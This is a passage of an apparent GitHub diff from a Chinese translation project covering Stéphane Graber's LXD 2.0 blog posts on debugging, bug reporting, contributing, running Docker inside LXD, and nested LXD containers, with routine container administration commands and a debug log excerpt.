timestamp: 2017-02-24T18:14:09.792961032-05:00
type: logging
metadata:
context:
ip: '@'
method: GET
url: /internal/containers/23/onstart
level: dbug
message: handling
timestamp: 2017-02-24T18:14:09.800803501-05:00
type: logging
metadata:
context:
driver: storage/zfs
level: dbug
message: StoragePoolInit
timestamp: 2017-02-24T18:14:09.803190248-05:00
type: logging
metadata:
context:
driver: storage/zfs
level: dbug
message: StoragePoolCheck
timestamp: 2017-02-24T18:14:09.803251188-05:00
type: logging
metadata:
context:
container: xen
driver: storage/zfs
level: dbug
message: ContainerMount
timestamp: 2017-02-24T18:14:09.803306055-05:00
type: logging
metadata:
context: {}
level: dbug
message: 'Scheduler: container xen started: re-balancing'
timestamp: 2017-02-24T18:14:09.965080432-05:00
type: logging
metadata:
context:
action: start
created: 2017-02-24 23:11:45 +0000 UTC
ephemeral: "false"
name: xen
stateful: "false"
used: 1970-01-01 00:00:00 +0000 UTC
level: info
message: Started container
timestamp: 2017-02-24T18:14:10.162965059-05:00
type: logging
metadata:
context: {}
level: dbug
message: 'Success for task operation: 2e2cf904-c4c4-4693-881f-57897d602ad3'
timestamp: 2017-02-24T18:14:10.163072893-05:00
type: logging
```
`lxc monitor` 的格式有点不同于每个条目都缩合成一行的日志文件,但更重要的是,你可以看到所有 `leveldbug` 条目。
### 如何报告 bug
#### LXD 的 bug
最好报告 bug 的地方是 [https://github.com/lxc/lxd/issues][4]。确保完整填写了 bug 报告模板中的内容,这些信息可以节省我们我们时间来复现环境。
#### Ubuntu 的 bug
如果你发现 Ubuntu 包本身有问题,无法安装、升级或删除。或者遇到 LXD init 脚本的问题。报告此类错误的最好是在 Launchpad 上。
在 Ubuntu 系统上,你可以使用:`ubuntu-bug lxd` ,它将自动包括一些日志文件和包信息供我们查看。
#### CRIU 的 bug
与 CRIU 相关的 Bug你可以通过 CRIU 的错误输出发现,你应该在 Launchpad 上报告这些:`ubuntu-bug criu`
请注意,通过 LXD 使用 CRIU 属于测试版功能,除非你愿意通过 Canonical 的支持合同付费支持,要么可能需要一段时间才能查看你的错误报告。
### 贡献给 LXD
LXD 用 [Go][5] 写成并[托管在 Github][6]。我们欢迎任外部的贡献。为 LXD 贡献不需要 CLA 或类似的法律协议签署,只是通常的开发者所有权证书(`Signed-off-by:` 行)。
在我们的问题追踪器工具中,我们列有许多潜在的功能需求,新的贡献者可以以此作为良好的起点。通常最好在开始处理代码先发出 issue这样每个人都知道你正在做这项工作以便我们可以提供一些早期反馈。
#### 从源码源码构建 LXD
这里有上游的维护说明:[https://github.com/lxc/lxd#building-from-source][7]
你需要在 Github 上 fork 上游仓库,然后将你的更改推送到你的分支。我们建议每天 rebase 上游的 LXD因为我们倾向于定期合并更改。
#### 运行测试套件
LXD 维护了两套测试集,单元测试和集成测试。你可以用下面的命令测试所有:
```
sudo -E make check
```
要只运行单元测试,使用:
```
sudo -E go test ./...
```
要运行集成测试,使用:
```
cd test
sudo -E ./main.sh
```
后者支持相当多的环境变量来测试各种存储后端、禁用网络测试、使用 ramdisk 或只是调整日志输出。其中一些是:
* `LXD_BACKEND``btrfs`、`dir`、`lvm` 或 `zfs`” 之一(默认为 `dir`
  运行 LXD 存储驱动程序相关的所有测试。
* `LXD_CONCURRENT``true` 或 `false`(默认为 `false`
  这启用一些额外的并发测试。
* `LXD_DEBUG``true` 或 `false`(默认为 `false`
  记录所有 shell 命令,并在调试模式下运行所有​​ LXD 命令。
* `LXD_INSPECT``true` 或 `false`(默认为 `false`
  测试程序会在故障时挂起,以便你可以检查环境。
* `LXD_LOGS`:将所有 `LXD` 日志文件转储到的目录(默认为 “”)
  所有生成的 LXD 守护进程的 `logs` 目录将被复制到此路径。
* `LXD_OFFLINE``true` 或 `false`(默认为 `false`
  禁用任何依赖于外部网络连接的测试。
* `LXD_TEST_IMAGE` unified 格式的 LXD 镜像的路径(默认为 “”)
  可以使用自定义测试镜像,而不是默认的最小 busybox 镜像。
* `LXD_TMPFS``true` 或 `false`(默认为 `false`
  在 `tmpfs` 安装中运行整个测试套件,这会使用相当多的内存,但会使测试速度明显更快。
* `LXD_VERBOSE``true` 或 `false`(默认为 `false`
  不太极端的 `LXD_DEBUG` 版本。shell 命令仍然会记录,但 `-debug` 不会传递给 LXC 命令LXD 守护进程只能使用 `-verbose` 运行。
测试程序将在实际运行之前提醒你任何缺失的依赖项。在相当快的机器上运行该测试可在 10 分钟内完成。
#### 发送你的分支
发送拉取请求PR之前你需要确认
* 你已经 rebase 了上游分支
* 你的所有提交信息都包括 `Signed-off-by: First Last <email>` 这行
* 已删除任何你的临时调试代码
* 你已经将相关的提交 squash 在一起,以保持你的分支容易审查
* 单元和集成测试全部通过
一切完成后,在 Github 上发起一个拉取请求。我们的 [Jenkins][8] 将验证提交是否全部有 `signed-off`,在 MacOS 和 Windows 上的测试将自动执行,如果看起来不错,我们将触发一个完整的 Jenkins 测试它将在所有存储后端、32 位和 64 位以及我们关心的所有 Go 版本上测试你的分支。
假设我们有人触发了 Jenkins这通常需要不到一个小时的时间。
一旦所有测试完成,我们对代码本身感到满意,你的分支将会被合并,你的代码会出现在下一个 LXD 发布中。如果更改适用于 LXD stable-2.0 分支,我们将为你向后移植。
### 总结
我希望这个系列的博客文章有助于你了解什么是 LXD以及它可以做什么
本系列的范围仅限于 LXD2.0.x但我们也为那些想要最新功能的用户提供每月功能版本。你可以找到一些其他涵盖了原来的 [LXD 2.0系列文章][9]中列出的功能的博客文章。
### 额外的信息
LXD 的主站在: [https://linuxcontainers.org/lxd][10]
LXD 的 GitHub 开发仓库: [https://github.com/lxc/lxd][11]
LXD 的邮件列表: [https://lists.linuxcontainers.org][12]
LXD 的 IRC 频道:#lxcontainers on irc.freenode.net
在线尝试 LXD [https://linuxcontainers.org/lxd/try-it][13]
--------------------------------------------------------------------------------
via: https://stgraber.org/2017/02/27/lxd-2-0-debugging-and-contributing-to-lxd-1212/
作者:[Stéphane Graber][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://stgraber.org/author/stgraber/
[1]:https://stgraber.org/author/stgraber/
[2]:https://www.stgraber.org/2016/03/11/lxd-2-0-blog-post-series-012/
[3]:https://stgraber.org/2016/03/11/lxd-2-0-blog-post-series-012/
[4]:https://github.com/lxc/lxd/issues
[5]:https://golang.org/
[6]:https://github.com/lxc/lxd
[7]:https://github.com/lxc/lxd#building-from-source
[8]:https://jenkins.linuxcontainers.org/
[9]:https://stgraber.org/2016/03/11/lxd-2-0-blog-post-series-012/
[10]:https://linuxcontainers.org/lxd
[11]:https://github.com/lxc/lxd
[12]:https://lists.linuxcontainers.org/
[13]:https://linuxcontainers.org/lxd/try-it
[14]:https://stgraber.org/2017/02/27/lxd-2-0-debugging-and-contributing-to-lxd-1212/

View File

@ -1,42 +1,42 @@
LXD 2.0 系列LXD中的Docker
LXD 2.0 系列LXD 中的 Docker
======================================
这是 [LXD 2.0 系列介绍文章][0]的第七篇。
![](https://linuxcontainers.org/static/img/containers.png)
### 为什么在LXD中运行Docker
### 为什么在 LXD 中运行 Docker
正如我在[系列的第一篇][1]中简要介绍的LXD的重点是系统容器。也就是我们在容器中运行一个完全未经修改的Linux发行版。LXD的所有意图和目的不在乎容器中的负载。它只是设置容器命名空间和安全策略然后生成/sbin/init,接着等待容器停止。
正如我在[系列的第一篇][1]中简要介绍的LXD 的重点是系统容器,也就是我们在容器中运行一个完全未经修改的 Linux 发行版。LXD 的所有意图和目的不在乎容器中的负载是什么。它只是设置容器命名空间和安全策略,然后运行 `/sbin/init` 来生成容器,接着等待容器停止。
应用程序容器例如由Docker或Rkt实现的应用程序容器是非常不同的因为它们用于分发应用程序通常在它们内部运行单个主进程并且比LXD容器生命期更短暂。
应用程序容器,例如由 Docker Rkt实现的应用程序容器是非常不同的,因为它们用于分发应用程序,通常在它们内部运行单个主进程,并且比 LXD 容器生命期更短暂。
这两种容器类型不是相互排斥的我们的确看到使用Docker容器来分发应用程序的价值。这就是为什么我们在过去一年努力工作以便让LXD中运行Docker成为可能。
这两种容器类型不是相互排斥的,我们的确看到使用 Docker 容器来分发应用程序的价值。这就是为什么我们在过去一年努力工作以便让 LXD 中运行 Docker 成为可能。
这意味着使用Ubuntu 16.04和LXD 2.0您可以为用户创建容器然后可以像正常的Ubuntu系统一样连接到这些容器然后运行Docker来安装他们想要的服务和应用程序。
这意味着,使用 Ubuntu 16.04 LXD 2.0,您可以为用户创建容器,然后可以像正常的 Ubuntu 系统一样连接到这些容器,然后运行 Docker 来安装他们想要的服务和应用程序。
### 要求
要让它正常工作要做很多事情Ubuntu 16.04上已经包含了这些:
要让它正常工作要做很多事情Ubuntu 16.04 上已经包含了这些:
- 支持CGroup命名空间的内核4.4 Ubuntu或4.6 mainline
- 使用LXC 2.0和LXCFS 2.0的LXD 2.0
- 一个自定义版本的Docker或一个用我们提交的所有补丁构建的
- Docker镜像当用户命名空间限制时或者使父LXD容器成为特权容器security.privileged = true
- 支持 CGroup 命名空间的内核4.4 Ubuntu 或 4.6 主线内核
- 使用 LXC 2.0 LXCFS 2.0 LXD 2.0
- 一个自定义版本的 Docker或一个用我们提交的所有补丁构建的
- Docker 镜像,其受限于用户命名空间限制,或者使父 LXD 容器成为特权容器(`security.privileged = true`
### 运行一个基础的Docker负载
### 运行一个基础的 Docker 载荷
说完这些让我们开始运行Docker容器
说完这些,让我们开始运行 Docker 容器!
首先你可以用下面的命令得到一个Ubuntu 16.04的容器:
首先你可以用下面的命令得到一个 Ubuntu 16.04 的容器:
```
lxc launch ubuntu-daily:16.04 docker -p default -p docker
```
“-p default -p docker”表示LXD将“default”和“docker”配置文件应用于容器。默认配置文件包含基本网络配置而docker配置文件告诉LXD加载几个必需的内核模块并为容器设置一些挂载。 docker配置文件还允许容器嵌套。
`-p default -p docker` 表示 LXD 将 `default``docker` 配置文件应用于容器。`default` 配置文件包含基本网络配置,而 `docker` 配置文件告诉 LXD 加载几个必需的内核模块并为容器设置一些挂载。 `docker` 配置文件还支持容器嵌套。
现在让我们确保容器是最新的并安装docker
现在让我们确保容器是最新的并安装 docker
```
lxc exec docker -- apt update
@ -44,8 +44,9 @@ lxc exec docker -- apt dist-upgrade -y
lxc exec docker -- apt install docker.io -y
```
就是这样你已经安装并运行了一个Docker容器。
现在让我们用两个Docker容器开启一个基础的web服务
就是这样!你已经安装并运行了一个 Docker 容器。
现在让我们用两个 Docker 容器开启一个基础的 web 服务:
```
stgraber@dakara:~$ lxc exec docker -- docker run --detach --name app carinamarina/hello-world-app
@ -87,7 +88,7 @@ Status: Downloaded newer image for carinamarina/hello-world-web:latest
d7b8963401482337329faf487d5274465536eebe76f5b33c89622b92477a670f
```
现在这两个Docker容器已经运行了我们可以得到LXD容器的IP地址并且访问它的服务了
现在这两个 Docker 容器已经运行了,我们可以得到 LXD 容器的 IP 地址,并且访问它的服务了!
```
stgraber@dakara:~$ lxc list
@ -104,13 +105,13 @@ The linked container said... "Hello World!"
### 总结
就是这样了在LXD容器中运行Docker容器真的很简单。
就是这样了!在 LXD 容器中运行 Docker 容器真的很简单。
现在正如我前面提到的并不是所有的Docker镜像都会像我的示例一样这通常是因为LXD提供了额外的限制,特别是用户命名空间。
现在正如我前面提到的,并不是所有的 Docker 镜像都会像我的示例一样,这通常是因为 LXD 带来了额外的限制,特别是用户命名空间。
只有Docker的overlayfs存储驱动在这种模式下工作。该存储驱动有一组自己的限制,这可以进一步限制在该环境中可以有多少镜像工作。
在这种模式下只有 Docker 的 overlayfs 存储驱动可以工作。该存储驱动有一组自己的限制,这进一步限制在该环境中可以有多少镜像工作。
如果您的负载无法正常工作并且您信任LXD容器中的用户你可以试下
如果您的负载无法正常工作,并且您信任LXD 容器中的用户,你可以试下:
```
lxc config set docker security.privileged true
@ -119,7 +120,7 @@ lxc restart docker
这将取消激活用户命名空间,并以特权模式运行容器。
但是请注意在这种模式下容器内的root与主机上的root是相同的uid。现在有许多已知的方法让用户脱离容器并获得主机上的root权限所以你应该只有在信任你的LXD容器中的用户可以具有主机上的root权限才这样做。
但是请注意,在这种模式下,容器内的 root 与主机上的 root 是相同的 uid。现在有许多已知的方法让用户脱离容器并获得主机上的 root 权限,所以你应该只有在信任你的 LXD 容器中的用户可以具有主机上的 root 权限才这样做。
### 额外信息
@ -138,11 +139,11 @@ via: https://www.stgraber.org/2016/04/13/lxd-2-0-docker-in-lxd-712/
作者:[Stéphane Graber][a]
译者:[geekpi](https://github.com/geekpi)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织翻译,[Linux中国](https://linux.cn/) 荣誉推出
[a]: https://www.stgraber.org/author/stgraber/
[0]: https://www.stgraber.org/2016/03/11/lxd-2-0-blog-post-series-012/
[1]: https://www.stgraber.org/2016/03/11/lxd-2-0-introduction-to-lxd-112/
[1]: https://linux.cn/article-7618-1.html
[2]: https://linuxcontainers.org/lxd/try-it/

View File

@ -1,4 +1,4 @@
LXD 2.0 系列LXD中的LXD
LXD 2.0 系列LXD 中的 LXD
======================================
这是 [LXD 2.0 系列介绍文章][0]的第八篇。
@ -7,35 +7,35 @@ LXD 2.0 系列LXD中的LXD
### 介绍
在上一篇文章中,我介绍了如何运行[LXD中的Docker][1]这是一个很好的方式来访问由Docker提供的应用程序组合同时Docker还运行在LXD提供的安全环境中。
在上一篇文章中,我介绍了如何[在 LXD 中运行 Docker][1],这是一个访问由 Docker 提供的应用程序组合的很好方式,同时 Docker 还运行在 LXD 提供的安全环境中。
我提到的一个情况是为你的用户提供一个LXD容器然后让他们使用他们的容器来运行Docker。那么如果他们自己想使用LXD在其容器中运行其他Linux发行版或者甚至运行容器允许另一组人来访问Linux系统
我提到的一个情况是为你的用户提供一个 LXD 容器,然后让他们使用他们的容器来运行 Docker。那么如果他们自己想要在其容器中使用 LXD 运行其他 Linux 发行版,或者甚至允许另一组人来访问运行在他们的容器中的 Linux 系统呢
原来LXD使得用户运行嵌套容器变得非常简单。
原来 LXD 使得用户运行嵌套容器变得非常简单。
### 嵌套LXD
### 嵌套 LXD
最简单的情况可以使用Ubuntu 16.04镜像来展示。 Ubuntu 16.04云镜像预装了LXD。守护进程本身没有运行因为它是套接字激活的所以它不使用任何资源直到你真正使用它。
最简单的情况可以使用 Ubuntu 16.04 镜像来展示。 Ubuntu 16.04 云镜像预装了 LXD。守护进程本身没有运行因为它是套接字激活的,所以它不使用任何资源,直到你真正使用它。
让我们启动一个启用了嵌套的Ubuntu 16.04容器:
让我们启动一个启用了嵌套的 Ubuntu 16.04 容器:
```
lxc launch ubuntu-daily:16.04 c1 -c security.nesting=true
```
你也可以在一个存在的容器上设置security.nesting
你也可以在一个已有的容器上设置 `security.nesting`
```
lxc config set <container name> security.nesting true
```
或者对所有的容器使用一个配置文件:
或者对所有的容器使用一个指定的配置文件:
```
lxc profile set <profile name> security.nesting true
```
容器启动后你可以从容器内部得到一个shell配置LXD并生成一个容器
容器启动后,你可以从容器内部得到一个 shell配置 LXD 并生成一个容器:
```
stgraber@dakara:~$ lxc launch ubuntu-daily:16.04 c1 -c security.nesting=true
@ -79,20 +79,19 @@ root@c1:~# lxc list
root@c1:~#
```
就是这样简单
就是这样简单
### 在线演示服务器
因为这篇文章很短,我想我会花一点时间谈论我们运行中的[演示服务器][2]。我们今天早些时候刚刚达到了10000个会话
因为这篇文章很短,我想我会花一点时间谈论我们运行中的[演示服务器][2]。我们今天早些时候刚刚达到了 10000 个会话!
这个服务器基本上只是一个运行在一个相当强大的虚拟机上的正常的LXD一个小型的守护进程实现我们的网站使用的REST API。
这个服务器基本上只是一个运行在一个相当强大的虚拟机上的正常的 LXD一个小型的守护进程实现我们的网站使用的 REST API。
当你接受服务条款时,将为你创建一个新的LXD容器并启用security.nesting如上所述接着你就像使用“lxc exec”时一样连接到了那个容器除了我们使用websockets和javascript来做这些。
当你接受服务条款时,将为你创建一个新的 LXD 容器,并启用 `security.nesting`,如上所述。接着你就像使用 `lxc exec` 时一样连接到了那个容器,除了我们使用 websockets javascript 来做这些。
你在此环境中创建的容器都是嵌套的LXD容器。
如果你想,你可以进一步地嵌套。
你在此环境中创建的容器都是嵌套的 LXD 容器。如果你想,你可以进一步地嵌套。
我们全范围地使用了[LXD资源限制][3],以防止一个用户的行为影响其他用户,并仔细监控服务器的任何滥用迹象。
我们全范围地使用了 [LXD 资源限制][3],以防止一个用户的行为影响其他用户,并仔细监控服务器的任何滥用迹象。
如果你想运行自己的类似的服务器,你可以获取我们的网站和守护进程的代码:
@ -118,12 +117,12 @@ via: https://www.stgraber.org/2016/04/14/lxd-2-0-lxd-in-lxd-812/
作者:[Stéphane Graber][a]
译者:[geekpi](https://github.com/geekpi)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织翻译,[Linux中国](https://linux.cn/) 荣誉推出
[a]: https://www.stgraber.org/author/stgraber/
[0]: https://www.stgraber.org/2016/03/11/lxd-2-0-blog-post-series-012/
[1]: https://www.stgraber.org/2016/04/13/lxd-2-0-docker-in-lxd-712/
[1]: https://linux.cn/article-8235-1.html
[2]: https://linuxcontainers.org/lxd/try-it/
[3]: https://www.stgraber.org/2016/03/26/lxd-2-0-resource-control-412/

Some files were not shown because too many files have changed in this diff Show More